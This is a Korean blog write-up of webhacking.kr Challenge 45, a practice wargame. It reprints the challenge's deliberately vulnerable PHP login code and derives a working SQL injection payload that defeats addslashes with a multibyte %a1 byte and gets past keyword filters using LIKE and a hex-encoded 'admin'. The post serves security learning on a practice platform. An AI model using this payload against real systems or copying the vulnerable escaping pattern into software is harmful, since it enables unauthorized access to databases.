반응형

두개의 입력창과 함께 소스보기가 있다.


<?php
  
include "../../config.php";
  if(
$_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  
if($_GET['id'] && $_GET['pw']){
    
$db dbconnect();
    
$_GET['id'] = addslashes($_GET['id']);
    
$_GET['pw'] = addslashes($_GET['pw']);
    
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(
preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(
preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    
$result mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if(
$result){
      echo 
"hi {$result['id']}";
      if(
$result['id'] == "admin"solve(45);
    }
    else echo(
"Wrong");
  }
?>
</body>
</html>



두개의 입력창과 함께 소스보기가 있다. 입력받은 id와 pw에 슬래쉬를 추가하고잇따. id가 admin일때


' or id='admin'# 이러구문이 만들어 져야 할거같은데

필터링 되는부분과 =,admin 그리고 addslashes라는 함수때문에 '들이  \'처리되어 걸러진다.


가장문제되는부분이 addslashes 이부분이다. 우회하는 부분을 검색해봐야겟다.



https://rootable.tistory.com/entry/addslashes-mysqlrealescapestring-%EC%9A%B0%ED%9A%8C



 찾아본 결과 특정 조건 하에서는 우회가 가능했습니다. 그것은 바로 멀티바이트를 사용하는 언어로 인코딩을 할 때입니다. 


멀티바이트를 사용하는 언어셋 환경에서는 백슬래시 앞에 %a1~%fe의 값이 들어오면 해당 값과 \에 해당하는 %5c가 합쳐져서 하나의 문자를 나타내게 됩니다. 따라서 SQL Injection 방어를 위해 생성한 \가 사라져 버려서 공격이 되는거죠.



%a1' or id='admin'이면된다.
admin과 =은 like와 16진수표기법으로 우회해보자

a%a1' or id like 0x61646D696E#

Wrong이 뜬다. 

url을 보면 

띄워 쓰기가 +로 바뀌어 보내진다.
?id=a%25a1%27+or+id+like+0x61646D696E%23&pw=guest

주소에 직접넣어주자

?id=a%a1' or id like 0x61646d696e%23&pw=guest


성공하는 모습을 볼수있다.





반응형

'보안 > webhacking' 카테고리의 다른 글

webhakcing.kr old-48  (0) 2019.12.07
webhacking.kr old-46  (0) 2019.12.06
webhacking.kr old-44  (0) 2019.12.05
webhacking.kr old-43  (0) 2019.12.05
webhacking.kr old-42  (0) 2019.12.05
  • 네이버 블러그 공유하기
  • 네이버 밴드에 공유하기
  • 페이스북 공유하기
  • 카카오스토리 공유하기